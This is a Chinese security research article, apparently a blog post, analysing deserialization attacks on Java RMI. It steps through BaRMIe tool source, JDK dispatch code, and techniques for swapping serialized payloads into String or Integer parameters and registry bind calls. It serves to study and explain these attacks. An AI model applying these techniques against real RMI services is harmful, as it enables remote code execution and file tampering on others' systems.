RMI-反序列化-深入-上

字数:1w6

推荐阅读时间:>2h

前言

其实起因听老哥讲“shiro-721可以用JRMP的payload,短很多,1分钟就可以跑出来”,啊!JRMP,RMI学过,我会的我会的…….实际上我会个锤子,YSO-JRMP的模块根本没用过。

但实际上本文只是顺道解决了这个问题,如果只是想知道这个原理,可以到下篇的 JRMP服务端打JRMP客户端(ysoserial.exploit.JRMPListener) 中去解答这个疑问,利用方式是同理的。

然后有一天看了一波别人攻击RMI服务的工具,瞬间三观崩坏,打脸piapia响!

于是…..花了按照月为单位的很长时间洋洋洒洒写了3w字的文整理了针对RMI服务的9种攻击方式,长文少有人能看下去,先丢上最终的研究的结果吧。

总结图.png

如果觉得有什么出入,喷就完事了;
同时觉得本文对你有帮助,也请留言、评论、关注、一键三连支持你喜欢的up主!你的点赞是我更新的动力!如果这期点赞超过20w,下篇文章直播吃…..

咳。同时由于文章实在过长,图片多达74张,将全文分为上、下两篇。

在上篇中将讲述针对已知RMI接口的三种攻击方式针对RMI层(RMI注册端、RMI服务端)/DGC层,是对已有常见利用方式的总结。

而在下篇中将重点讲述绕过JEP290的引入JRMP的利用方式,这就很好玩了,指出了别的老哥的错误之处,找到了别人没提及的骚姿势,复现分析了老外的绕过方式。

上下篇的小结论是沿用的,建议配合食用;文中实验代码、环境及工具均已上传github

此外安利下ysomap,如果没有意外的话,之后会陆续把这些攻击方式都移植过去。

回顾稚嫩的过去

在学习了一整子之后回过头去看之前对于RMI的理解真是片面啊……
在 RMI 反序列化一文中,我们把RMI服务的攻击维度分成四个方向:

  1. 探测利用开放的RMI服务
  2. 基于RMI服务反序列化过程的攻击
  3. 利用RMI的动态加载特性的攻击利用
  4. 结合JNDI注入

我个人推荐把第一、第二方向与第三、第四个方向隔离开讨论与理解,第二个点是标准反序列化利用套路(readobject入口点+利用链+RCE)。同第一个一样都是针对RMI服务进行攻击,即打一个1099端口。

而第三、第四个点则是想办法让对方服务器加载我们的恶意类,在对方服务器上实例化的时候执行恶意的构造函数或静态方法等(JNDI由于代码还可以执行另一个方法,这里不多说了)

我们在本文中只专注讨论剖析 探测利用开放的RMI服务、基于RMI服务反序列化过程的攻击

我们对于1.探测利用开放的RMI服务简单纸上谈兵了一下:可能存在可以利用的随便写入文件的类啦巴拉巴拉。

同时简单复现了其中的2.基于RMI服务反序列化过程的攻击:

在起一个有CC利用链(Commons-Collections)的RMI服务端之后,我们将服务端提供的服务的接口参数设置成Object类型(因为我们的payload就是Object对象)然后再拿这个object的payload去打提供服务的RMI服务端,成功。

1
2
3
4
5
String url = "rmi://127.0.0.1:1099/User";
User userClient = (User)Naming.lookup(url);
userClient.say("world");
userClient.dowork(getpayload());
//dowaok接受一个Object函数,这时候我们传入恶意object会在对方服务器readobject反序列化

于是那时候总结就是,如果RMI服务端可以被攻击成功需要:

  1. 服务端提供一个RMI服务,提供的RMI服务的方法的参数必须为Object(因为我们的payload是Object)
  2. 服务端有可以被利用的反序列化利用链及环境

于是就觉得辣鸡漏洞,还需要对方提供一个Object的对象来把自己的payload对着这个Object点塞进去才行。实际情况咋可能,垃圾。

实际上,对于之前讨论的:

  1. 我们没有对探测利用开放的RMI服务进行进一步探究,到底是怎么探测的?
  2. RMI客户端打RMI服务端我们知道需要一个Object接口,但是我们是可以查询到这个接口是不是有Object参数,然后真的就条件这么苛刻,没有其他办法了么?
  3. 之前的分析,完全忽略了RMI注册端的情况。
  4. 之前的分析,完全片面理解了针对RMI服务的攻击,实际上还有很多利用方式和细节,简直管中窥豹。
  5. 我们没有继续分析相应的利用工具的使用以及实现细节。
  6. 我们没有继续分析在JDK版本更新中对于封堵的绕过情况

这是一长串的一环套着一环的疑问,

我们先来解决第一个问题 探测利用开放的RMI服务到底是个怎样攻击的流程

探测利用开放的RMI服务

之前我们讲到探测利用开放的RMI服务,使用工具BaRMIe去寻找可受攻击的RMI服务,比如可能提供了文件上传等危险功能,一种就跟普通web测试差不多的很简单的感觉。

但实际上我们要调用一个存在危险功能的RMI服务端需要知道:RMI对象a、方法b、参数c,即a.b(c)

自然会认为我们作为RMI客户端向RMI注册端查询有哪些RMI服务端,然后再去RMI服务端查询接口和参数,再根据返回的接口和参数,构造利用就好了。

但是回忆一下在上一篇中讲述的RMI通讯流程,好像压根就没有RMI客户端向RMI服务端查询接口(方法和参数)的这一步骤,都是本地写一个一模一样的接口然后直接调用的。

那么我们得不到方法和参数,实际上是不是根本就没有探测利用开放的RMI服务利用这么一说呢?

我们来看BaRMIe工具是怎么做的。

BaRMIe

先分析下这个工具——BaRMIe。工具提供了两种利用模式——enum枚举模式,attack攻击模式。

Github下载源码,然后Debug一下这个工具,idea使用listen to remote JVM的形式进行调试。

idea端:

barmie调试.png

源码处下断点,复制图中那个Command line,然后删掉<>可选,命令行运行比如:

java -agentlib:jdwp=transport=dt_socket,server=n,address=LAPTOP-50N17D1J:5005,suspend=y -jar BaRMIe.jar -enum 127.0.0.1 1099

就可以调试了。(复制过去是不行的因为address不一样)

看enum枚举模式。入口在nb.barmie.modes.enumeration.EnumerationTask#run

代码不复杂就不大篇幅注解了,主要分为几步,直接总结下:

第一步ep = this._enumerator.enumerateEndpoint(this._target);

作为RMI客户端向RMI注册端获取RMI服务端信息,这里叫做Endpoint,并分析Endpoint是RMI服务端

  1. LocateRegistry.getRegistry获取目标IP端口的RMI注册端
  2. reg.list()获取注册端上所有服务端的Endpoint对象
  3. 使用reg.unbind(unbindName);解绑一个不存在的RMI服务名,根据报错信息来判断我们当前IP是否可以操控该RMI注册端(如果可以操控,意味着我们可以解绑任意已经存在RMI服务,但是这只是破坏,没有太大的意义,就算bind一个恶意的服务上去,调用它,也是在我们自己的机器上运行而不是RMI服务端)
  4. 本地起一个代理用的RMI注册端,用于转发我们对于目标RMI注册端的请求(在RaRMIe中,通过这层代理用注册端可以变量成payload啥的,算是一层封装;在这里用于接受原始回应数据,再进行解析)
  5. 通过代理服务器reg.lookup(objectNames[i]);遍历之前获取的所有服务端的Endpoint。
  6. 通过代理服务器得到lookup返回的源数据,自行解析获取对应对象相应的类细节。(因为直接让他自动解析是不会有响应的类信息的)

至此就获取了如下信息,可以看到会解析出RMI服务端的类名等等。

barmie-part1.png

如果这些信息都获取成功,就会判定为这个端口是一个注册端,否则觉得这个不是注册端,输出

barmie-part2.png

但是实际上你一个根本没开的端口扫描结果也会跟你说是一个RMI服务接口,随便看看就好了,相当于失败了。

第二步attacks = RMIAttackFactory.findAttacksForEndpoint(ep);

对于所有Endpoint(RMI服务端)进行遍历,再一一调用攻击模块判断是否可以攻击。

攻击模块如下:

attack模块.png

在看完代码后,我把他们根据攻击类型划分如下:

  1. RMI客户端探测利用RMI服务:
1
2
3
4
5
Axiom
-DeleteFile
-ListFiles
-ReadFile
-WriteFile
  1. RMI客户端反序列化攻击RMI服务端——利用Object类型参数(RMI服务端提供的对象的方法参数有一个是Obejct类型)
1
2
3
4
5
Java
-JmxDeser
SpringFramework
-RmiInvocationHandlerDeser
-Spring2RmilnvocationHandlerDeser
  1. RMI服务端攻击RMI注册端——Bind类攻击
1
2
Java
-IllegalRegistryBind

以上当然这就有超出了探测利用RMI服务以外的类型,我们先划分出来。看看调用攻击模块之后做了什么,再回过头一个个分析攻击模块。

第三步deserPayloads = DeserPayloadFactory.findGadgetsForEndpoint(ep);

对于所有Endpoint(RMI服务端)进行遍历,尝试判断是否存在反序列化利用链。

  1. 其判断的原理大概是,判断RMI注册端提供的RMI服务端的对象class(如:com.lala.User)的路径中(不是非常确定?),是否包含存在已知反序列化利用链的jar包。

这是一个比较不靠谱的判断是否存在反序列化利用链的方法,反正我靶机中服务端有CC利用链,但是无法探测到。

其中工具中已知反序列化利用链的jar包类别如下:

1
2
3
4
5
CommonsCollectionsPayload
GroovyPayload
JBossInterceptorsPayload
ROMEPayload
RhinoPayload

看看探测利用开放的RMI服务的攻击模块是怎么实现的

4个攻击模块Delete、List、Read、Write都是针对AxiomSL这个组件。看一个List的。

描述:AxiomSL公开一个对象FileBrowserStub,它有一个list files()方法,该方法返回给定目录中的文件列表。

在判断是否存在漏洞时会去判断RMI服务返回的对象的class栈中是否存在以下class路径:

1
axiomsl.server.rmi.FileBrowserStub

判断存在该class路径后,再进行利用;实际利用代码也很简单,就是普通的RMI服务调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//nb.barmie.modes.attack.attacks.Axiom.ListFiles#executeAttack
public void executeAttack(RMIEndpoint ep) throws BaRMIeException {
//一些参数设定

//用户输入一个想要列出的文件目录
path = this.promptUserForInput("Enter a path to list files from: ", false);
System.out.println("");

//向eq(RMI服务端)lookup一个FileBrowserStub对象
//同时本地也写好了FileBrowserStub接口
System.out.println("[~] Getting fileBrowser object...");
fbs = (FileBrowserStub)this.getRemoteObject(ep, "fileBrowser");

//调用listFilesOnServer方法获取调用结果
files = fbs.listFilesOnServer(path);

}

/***********************************************************
* FileBrowserStub for AxiomSL attacks.
**********************************************************/
public abstract interface FileBrowserStub extends Remote {
public abstract FileInformation[] listFilesOnServer(String paramString) throws RemoteException;
public abstract byte[] readFile(String paramString, long paramLong, int paramInt) throws IOException;
public abstract void writeFile(String paramString, byte[] paramArrayOfByte) throws IOException;
public abstract boolean deleteFile(String paramString, boolean paramBoolean) throws RemoteException;
public abstract FileInformation getFileInformation(String paramString) throws RemoteException;
}

那这边也就清楚了,实际上探测利用开放的RMI服务,根本只是攻击者自己知道有哪些组件会提供危险的RMI服务。然后根据class路径去判断对面是否使用了该组件,如果用了就尝试打一打看看成不成功。

假如对面提供了我们一个不认识的RMI服务,我们是没有能力攻击的。

就如之前提到的一样:因为我们没有RMI服务对象的接口(方法+参数)。就算对面开放了一个Class名字可疑的服务,我们也没有办法去正确调用它。

可见这种理论存在但是不怎么被人讨论的攻击方法总是有些鸡肋。

RMI客户端反序列化攻击RMI服务端

那么再看之前的工具中的第二类攻击形式——RMI客户端反序列化攻击RMI服务端

利用Object类型参数

3个攻击模块都是利用有Object类型参数的接口,来传入Object类型的payload,在RMI服务端对Object类型的参数进行反序列化时,触发payload来完成反序列化攻击的。

1
2
3
4
5
Java
-JmxDeser
SpringFramework
-RmiInvocationHandlerDeser
-Spring2RmilnvocationHandlerDeser

这三个攻击模块同样是针对特定的组件提供的RMI服务,在判断是否存在漏洞时,代码会去判断RMI服务返回的对象的class栈是否存在以下class路径:

1
2
3
4
javax.management.remote.rmi.RMIServerImpl_Stub
javax.management.remote.rmi.RMIServer
org.springframework.remoting.rmi.RmiInvocationWrapper_Stub
org.springframework.remoting.rmi.RmiInvocationHandler

利用Object类型参数跟探测利用开放的RMI服务一样,也是假如对面自实现了RMI服务,我们没有接口的话就两眼摸黑,无法下手。

还是继续看看BaRMIe是怎么攻击的,以Spring RMI服务为例。

描述:Spring RMI Remoting使用invoke()方法公开一个远程类,该方法接受一个RemoteInvocation对象作为参数。RemoteInvocation对象有一个可以保存任何对象的属性,从而启用反序列化攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//nb.barmie.modes.attack.attacks.Java.JMXDeser#executeAttack	
public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException {
RMIServer obj;
//eq是RMI服务
//payload是选取的payload种类
//cmd是我们要在目标执行的命令
//开始攻击
try {
//建立代理rmi服务,等会我们去看看内部做了什么
System.out.println("\n[~] Getting proxied jmxrmi object...");
obj = (RMIServer)this.getProxiedObject(ep, "jmxrmi", payload.getBytes(cmd, 0));

//调用newClient()方法,传入一个固定默认的object
System.out.println("[+] Retrieved, invoking newClient(PAYLOAD)...");
obj.newClient(this.DEFAULT_MARKER_OBJECT);
} catch(Exception ex) {
//Check the exception for useful info
this.checkDeserException(ex);
}
}

跟进this.getProxiedObject

nb.barmie.modes.attack.RMIDeserAttack#getProxiedObject(nb.barmie.modes.enumeration.RMIEndpoint, java.lang.String, byte[]):

1
2
3
4
5
6
7
8
protected final Object getProxiedObject(RMIEndpoint ep, String name, byte[] payload) throws BaRMIeException {
//需要注意此处的this.DEFAULT_MARKER_OBJECT_BYTES
//与obj.newClient(this.DEFAULT_MARKER_OBJECT)中的内容一致,等同于一个占位符的感觉
//这边是从ep(rmi服务端)端中获取了名字为name的对象,做代理
//同时在代理之后所有的通讯的同时,会将this.DEFAULT_MARKER_OBJECT_BYTES替换为payload
//从而实现不同的payload的动态注入
return this.getProxiedObject(ep, name, payload, this.DEFAULT_MARKER_OBJECT_BYTES);
}

可以看到实际利用就是直接去服务端lookup获取这个jmxrmi对象,获取到了就调用newClient(Object a)这个方法,然后用自己的payload替换这个a就可以了。

与我们预想中的一样,也不是啥rmi服务都能打的。如果不知道对面接口、参数,对方那又不存在自己已知的用Object参数的rmi服务接口(class判断),就直接GG。

同样局限很大,但是相对于探测利用开放的RMI服务,这个稍微要求低点,不要求对方功能有害,只要有一个已知有Object参数的方法接口就行。但是,这里作为一个反序列化点,要利用,还需要服务器有利用链才行。

漏洞触发点

我们之前默认了这个Object参数肯定会在服务端反序列化,虽然事实也是如此,但是我们来看一下到底在服务端是如何反序列化的。这将对我们接下来的漏洞理解有帮助,毕竟之后都是看源码。

github:RMI-Client Client 攻击 RMI-Server ServerAndRegister 【没用BaRMIe打是因为,那边的环境比较复杂,自己写个参数简单点】

jdk:1.7u80【这边使用的CC payload是1.7下的】

反序列化链:cc3.2.1

服务端在下面的dispatch方法中下断点,开启调试,客户端直接运行攻击服务端,就会到断点处

rt.jar.sun.rmi.server.UnicastServerRef#dispatch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public void dispatch(Remote var1, RemoteCall var2) throws IOException {
try {
long var4;
ObjectInput var40;
//---------第一个try--------
try {
var40 = var2.getInputStream();
int var3 = var40.readInt();
if (var3 >= 0) {
//在正式接受参数前解析前,会进入几次这个if函数,虽然不知道干了啥,估计是一些固定通讯
//但是在接受参数,进行解析执行参数的dispatch,不会进入这个if
//所以第一个try这里其实没做什么,就在下main读取了一个Method hash
if (this.skel != null) {
this.oldDispatch(var1, var2, var3);
return;
}

throw new UnmarshalException("skeleton class not found but required for client version");
}
//var4是从客户端传输过来的序列化数据中读取客户端调用的Method hash
var4 = var40.readLong();
} catch (Exception var36) {
throw new UnmarshalException("error unmarshalling call header", var36);
}
//--------第一个try结束---------
MarshalInputStream var39 = (MarshalInputStream)var40;
var39.skipDefaultResolveClass();
//通过客户端提供的var4去验证客户端想要调用的方法,在这里有没有
Method var8 = (Method)this.hashToMethod_Map.get(var4);
//如果没有就报错你想调用的方法在这里不存在。
if (var8 == null) {
throw new UnmarshalException("unrecognized method hash: method not supported by remote object");
}

来看看这边服务端的hashToMethod_Map长啥样,就是我们在服务端实现的RMI服务对象的三个方法。

hashToMethod_Map.png

之前开过一个脑洞

正常而言是服务端什么接口,客户端就用什么接口,比如name(java.lang.String)

如果我们在客户端强行把name(java.lang.String)的方法接口写成name(java.lang.Object)(因为在客户端,RMI接口类是客户端自己写的,如果把name参数故意写成Object,在客户端调用是不会报错的),尝试无中生有一个Object来让服务端解析,如果这样成功的话,就可以这样是不是就扩大了攻击面了,不是Object的参数就创造一个Object参数出来,让服务端解析?

但是实际上看过源码我们也会发现,会卡死在上面method hash验证这一步的,会报错:unrecognized method hash

没有对象的地方强行用对象.png

虽然我们知道不行,还是看看具体数据包,打开wireshark,抓个RMI客户端发送参数给RMI服务端的数据包(关于抓包交互流程啥的参考上一篇RMI 反序列化吧,个人是抓的Npcap网卡,无线网卡抓不到本地交互包):

方法hash1数据包.png

导出为16进制字符串,把aced反序列化开头前的不要,给serializationdumper分析一下,图中框起来的就是我们客户端传输的method hash

方法hash1.png

对比下服务端分析处的:(服务端调试时,显示的是10进制Long型,写个小DEMO,我们把它调为16进制来对比下)

方法hash1断点.png

跟我们wireshark获取的完全一致(当然了….)但是这个Method hash,与上面服务端自己实现的method hash map中的值均不符,于是,强行把name(java.lang.String)的方法接口写成name(java.lang.Object)来无中生有一个Object,会因为服务端没有我们传输过去的method hash而失败。

啊噢,脑洞失败。

但是第二个脑洞:我们既然都抓到数据包了,反正理论上我们客户端生成的数据包我们可以随意控制,我们可以在method hash的位置正常写一个服务端有的method hash,就可以通过method hash校验了。但是然后传输的参数继续写成Object形式这样可以么?

继续看源码,顺路看看判断这个脑洞可以不,sun.rmi.server.UnicastServerRef#dispatch紧接着上面method hash判定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
this.logCall(var1, var8);
//var8 是在hashToMethod_Map中用客户端传输过来的method hash查询到的RMI服务端实现的Method类型
//获取Method中的入参
Class[] var9 = var8.getParameterTypes();
//获取入参个数,等会拿来存储反序列化结果
Object[] var10 = new Object[var9.length];

try {
//这边是JDK提供给开发者自定义的解析部分,默认是一个空函数
this.unmarshalCustomCallData(var40);
//遍历入参类型
for(int var11 = 0; var11 < var9.length; ++var11) {
//**关键函数**:unmarshaValue(入参类型,传输数据包)
//这里开始根据 入参类型(var9[var11]) 反序列化 传输过来的序列化入参,然后反序列化结果给var10
var10[var11] = unmarshalValue(var9[var11], var40);
}
} catch (IOException var33) {
throw new UnmarshalException("error unmarshalling arguments", var33);
} catch (ClassNotFoundException var34) {
throw new UnmarshalException("error unmarshalling arguments", var34);
} finally {
var2.releaseInputStream();
}

上面说到第二个脑洞:关注unmarshalValue(var9[var11], var40);

  • 这里我们客户端传输的Object类型恶意参数在var40中
  • 入参类型(var9[var11])是服务器本地RMI服务Method的设定参数类型

这里的处理是没问题的,用本地的Method设定的参数类型去读取客户端提供的输入流。

继续跟进sun.rmi.server.UnicastRef#unmarshalValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
//var0 是服务端Method设定的入参参数类型
//var1 是传输从客户端来的的序列化数据流
//var0.isPrimitive 判断是否是默认基础类型
//需要注意基础类型!=下面这些TYPE,我们在之后解释这个坑
if (var0.isPrimitive()) {
if (var0 == Integer.TYPE) {
return var1.readInt();
} else if (var0 == Boolean.TYPE) {
return var1.readBoolean();
} else if (var0 == Byte.TYPE) {
return var1.readByte();
} else if (var0 == Character.TYPE) {
return var1.readChar();
} else if (var0 == Short.TYPE) {
return var1.readShort();
} else if (var0 == Long.TYPE) {
return var1.readLong();
} else if (var0 == Float.TYPE) {
return var1.readFloat();
} else if (var0 == Double.TYPE) {
return var1.readDouble();
} else {
throw new Error("Unrecognized primitive type: " + var0);
}
} else {
//将从客户端传输过来的序列化数据流进行readObject
//**反序列化执行处**
return var1.readObject();
}
}

这里var1.readObject();就是反序列化我们的Object payload参数的地方。

到这里我们利用Object的类型参数传输payload的漏洞触发点就跟完了,主要就以下步骤

  1. 根据传输过来的Method hash,判断本地提供的RMI服务类的方法是否有这个Method hash
  2. 根据Method hash取到Method类,遍历入参,从输入流按顺序反序列化入参
  3. 当服务端设定的RMI方法的入参不是基础数据类型时,执行var1.readObject就会触发我们的payload

绕过Object类型参数

上面我们也在一直开脑洞,想要扩大影响范围,但一路分析下来好像看似没什么办法。但是好像有一个地方可以注意到:当服务端设定的RMI方法的入参不是基础数据类型时,就会执行反序列化输入流。这里并不强求是要Object类型的参数才能var1.readObject

这里看似没问题,但是你细品:

假如服务端的RMI方法接口的入参是name(java.lang.String)String不在基础数据类型表中);那么它就会进入else分支,执行var1.readObject();,但是var1又是我们客户端输出的值,假如我们输入的不是一个java.lang.String的值,而是一个Object对象,那么实际上也会被反序列化解析,即Object.readObject();完成任意命令执行。

那么:RMI服务端需要起一个具有Object参数的RMI方法 的利用条件限制 就扩展到了 RMI服务端只需要起一个具有不属于基础数据类型参数的RMI方法(比如String啥的)

攻击原理核心在于替换原本不是Object类型的参数变为Object类型。之前我们修改String接口变为Object,是可以做到修改参数类型,但是那样还会修改method hash。所以这里只能修改底层代码,去替换原本的参数为我们想要的payload。

afanti总结了以下途径(后发现是国外老哥先提出来的):

  1. 直接修改rmi底层源码
  2. 在运行时,添加调试器hook客户端,然后替换
  3. 在客户端使用Javassist工具更改字节码
  4. 使用代理,来替换已经序列化的对象中的参数信息

途径不同,目的都是一样的,我们使用afanti的RemoteObjectInvocationHandler来试验下可行性。

RMI服务端改成提供一个String参数为接口的方法:say(String say)

修改afanti.rasp.visitor.RemoteObjectInvocationHandlerHookVisitor.RemoteObjectInvocationHandlerHookVisitorAdapter#onMethodEnter下的DNS地址为自己的,然后打包成jar。

设置VM options

vm options配置.png

Server调试一下,断点下在入参判断处,然后客户端直接运行。

String调试.png

可以看到入参类型为String,但是var1中是Object类型的URLDNS payload

到URLDNS的触发末端下个断点看看java.net.URLStreamHandler#hashCode,已经执行到这了,证明OK。(其实是由于再写文章的时候CEYE莫名其妙挂了,就不补图惹,不了解URLDNS原理的可以看这里

URLDNS.png

其实我们回看BaRMIe,会发现在其README.md文档中已经对于该类型绕过进行了说明(可能这就是大佬吧.jpg):

3.通过非法的方法调用进行反序列化攻击

由于在服务器上对于客户端传入参数序列化的同时对于方法的参数并没有进行匹配检查。我们可以使用具有非原始参数类型的任何方法作为反序列化攻击的入口点。BaRMIe通过使用TCP代理在网络级别修改方法参数来实现这一点,实际上触发了非法的方法调用。下面是一些易受攻击方法的示例:

1
2
3
4
> public void setName(String name);
> public Long add(Integer i1, Integer i2);
> public void sum(int[] values);
>

当方法调用通过代理时,这些方法的参数可以替换为反序列化负载。此攻击是可能的,因为Java在反序列化之前不会尝试验证通过网络接收的远程方法参数是否与实际参数类型兼容。

这里提到Integer参数也是可以利用的,但是想想不科学呀,Integer不是在if为true的情况下么?我们回看下

1
2
3
4
if (var0.isPrimitive()) {
if (var0 == Integer.TYPE) {//这里
return var1.readInt();
...

查一下isPrimitive()是判断是否为基本类,包括基本类型boolean、char、byte、short、int、long、float、double。而Integer是int的封装类,不是一个基本类,所以Interger的参数也可以?

试一试:

Integer调试.png

还真的会到else中……

这里有一个非常坑的烟雾弹,那就是下面的Integer.TYPE,真的会很自然的以为Integer.TYPE就是Integer类,那么包括integer类下面的这些类都不行,而实际上Integer.TYPE不是Integer类是基础类int!!!!!

Integer-int.png

那么我们也就可以理解为啥参数为Integer是可以的了,因为Integer !=i nt,不是基础类。

再顺手来验证下int[]

int[]调试.png

也进入else,数组的class竟然长这样 因垂丝汀。最后看一个不行的int类型:

int调试.png

这里截图是去掉替换成payload的jar包看到的结果,替换成payload后其实不到这里就会报错退出,没有细究应该是payload的问题。

那么至此我们也就知道:假如服务端起一个RMI服务,只要提供了非基础类的参数接口,我们都可以对其进行反序列化攻击。

在相关文章中总结的:

  • Bypass JEP290攻击rmi的 即使暴露的函数非Object参数类型的,也是可以被攻击的。
  • RMI漏洞的另一种利用方式的 如果暴露的函数无Object类型参数,那么就需要动态替换rmi通讯时候函数参数的值

感觉都会有些误导说让人迷糊的觉得所有参数都可以,可能是因为这个太简单了??

回到Barmie工具,它虽然提出了这个绕过Object调用的利用方式,但是是没有为其提供攻击模块。

想想也正常,这个绕过其实在实际场景中也同样有一个鸡肋的前提,客户端要知道服务端起服务的接口以及调用方式,即a.b(c)。

实际利用还是太难了。

RMI服务端反序列化攻击RMI注册端

上边讲述的三类攻击方式,讨论的人挺少,因为在实际中确实挺鸡肋的,但是搞搞清楚也算有趣。

接下来就是比较通用的攻击情景了:攻击者模拟RMI服务端攻击RMI注册端

我们先来看看RMI服务端的漏洞触发点代码:/rt.jar!/sun/rmi/server/UnicastServerRef.class#RegistryImpl_Skel

环境:RMI-Server ServerAndRegister 分析

jdk:1.7u80

jdk7u80版本这个地方在调试RegistryImpl_Skel.class这个神奇的文件的时候有一个非常有趣而坑爹的情况,那就是这个class压根没法调试。百思不得其解,去下了openjdk 的jdk源码,发现源码中根本没有这个RegistryImpl_Skel.java文件。

跟wh1tp1g讨论了下,应该是一个动态生成的class,所以不能调试。然后非常神奇在jdk8版本的8u112也不能调试,但是8u141之后又可以了。如果有想自己调试的同学可以注意下这个点。

sun.rmi.registry.RegistryImpl_Skel#dispatch(我们可以叫做RMI注册任务分发处,就是注册端处理请求的地方)其实是从sun.rmi.server.UnicastServerRef#dispatch(RMI请求分发处)那边过来的。

由于RegistryImpl_Skel不能下断点,我们在bind函数执行处sun.rmi.registry.RegistryImpl#bind下一个断点,直接运行,就可以得到调用栈,再回去找就好了。

sun.rmi.registry.RegistryImpl_Skel#dispatch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
//一处接口hash验证
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
//设定变量开始处理请求
//var6为RegistryImpl对象,调用的就是这个对象的bind、list等方法
RegistryImpl var6 = (RegistryImpl)var1;
//接受客户端输入流的参数变量
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
//var3表示对应的方法值0-4,这个数字是跟RMI客户端约定好的
//比如RMI客户端发送bind请求:就是sun.rmi.registry.RegistryImpl_Stub#bind中的这一句
//super.ref.newCall(this, operations, 0, 4905912898345647071L);
switch(var3) {
//统一删除了try等语句
case 0:
//bind(String,Remote)分支
var11 = var2.getInputStream();
//1.反序列化触发处
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
var6.bind(var7, var8);
case 1:
//list()分支
var2.releaseInputStream();
String[] var97 = var6.list();
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);

case 2:
//lookup(String)分支
var10 = var2.getInputStream();
//2.反序列化触发处
var7 = (String)var10.readObject();
var8 = var6.lookup(var7);

case 3:
//rebind(String,Remote)分支
var11 = var2.getInputStream();
//3.反序列化触发处
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
var6.rebind(var7, var8);

case 4:
//unbind(String)分支
var10 = var2.getInputStream();
//4.反序列化触发处
var7 = (String)var10.readObject();
var6.unbind(var7);
default:
throw new UnmarshalException("invalid method number");
}

}
}

可以得到4个反序列化触发处:lookupunbindrebindbind

RMI客户端角度的lookup攻击RMI注册端

其中lookup是以客户端的角度攻击,但是其原理与以服务端角度攻击的bind,rebind,unbind完全一致。我们会在最后的罗列中把lookup区分开,不再领出来细说。

此处建立一个小标题,作为提醒

这里可能会有一个疑问:
4个接口有两类参数,String和Remote类型的Object,那么是不是我们只能攻击必须要是Remote类型的Object接口呢?即实际上只有bind、rebind接口才是可以攻击的?

之所以会产生这个疑问是由于 有些文章会说替换Remote类型的参数为payload 或者 我们看Ysoserial的payload的构造过程也是构造出一个Remote类型的payload Object,再把正常的Remote参数替换为Remote类型的payload,这些都给我们一种只有Remote参数才能反序列化的假象

虽然我们看到RMI注册端的解析过程是直接反序列化传参,看样子String和Remote的参数位置都是可以的,但还是会摇摆不定。

但事实是 RMI注册端没有任何校验,你的payload放在Remote参数位置可以攻击成功,放在String参数位置也可以攻击成功
而之所以Ysoserial生成payload要变成Remote格式,是因为RMI服务端发这个数据包的流程中会需要这个对象是Remote类型的,我们之后将证明,并且详细说明。

Barmie - Bind

各个工具都对于服务端打注册端的bind攻击写了exploit,相对于上面攻击形式,bind攻击更具备通用性。

Barmie对于Bind接口有探测和攻击两个模块

简单总结一下探测模块:nb.barmie.modes.attack.attacks.Java.IllegalRegistryBind#canAttackEndpoint

  1. 新建一个RMI代理服务器,在这个代理服务器中会对输出的数据包进行重新构造
  2. 获取这个RMI对象,调用其bind方法
  3. 重构客户端输出的数据包,改变其内容为预设好的一个Object
  4. 服务端肯定会报错(由于我们预设的Object不会被正确解析执行),根据服务端返回报错栈,去匹配是否有filter status: REJECTED字符串来判断,对方的JDK版本我们是否可以攻击。(这个字符串是JEP290拦截导致的,之后我们会提到)
  5. 如果没有匹配到就说明可以攻击。

再来详细看看流程比较相似的攻击模块nb.barmie.modes.attack.attacks.Java.IllegalRegistryBind#executeAttack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException {
RMIBindExploitProxy proxy = null;//代理器
Registry reg;
//已删去try部分
//1.初始化一个bind RMI注册端代理器
//我们的payload从这里给入
proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, payload.getBytes(cmd, 0));
proxy.startProxy();

//2.从RMI注册端代理器获取一个注册端对象
reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort());

//3.通过RMI注册端代理器调用bind,修改参数为给定的payload
//reg.bind(随机字符串,一个接口需要的Remote接口)
//但是经过注册端代理器之后,这里的参数会被改为:bind(PAYLOAD, null),没错payload是String的位置
reg.bind(this.generateRandomString(), new BaRMIeBindExploit());
}

private static class BaRMIeBindExploit implements Remote, Serializable {
}

最后形成的调用是bind(PAYLOAD, null)
看看具体实现nb.barmie.net.proxy.thread.BindPayloadInjectingProxyThread#handleData

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public ByteArrayOutputStream handleData(ByteArrayOutputStream data) {
ByteArrayOutputStream out;
int blockLen;
byte[] dataBytes;
//获取输入的长度
dataBytes = data.toByteArray();
//判断这个输入包是不是一个RMI调用包,如果是的话进行修改
if(dataBytes.length > 7 && dataBytes[0] == (byte)0x50) {
//调用包以 TC_BLOCKDATA 标签开头,获取它的标签长度
blockLen = (int)(dataBytes[6] & 0xff);

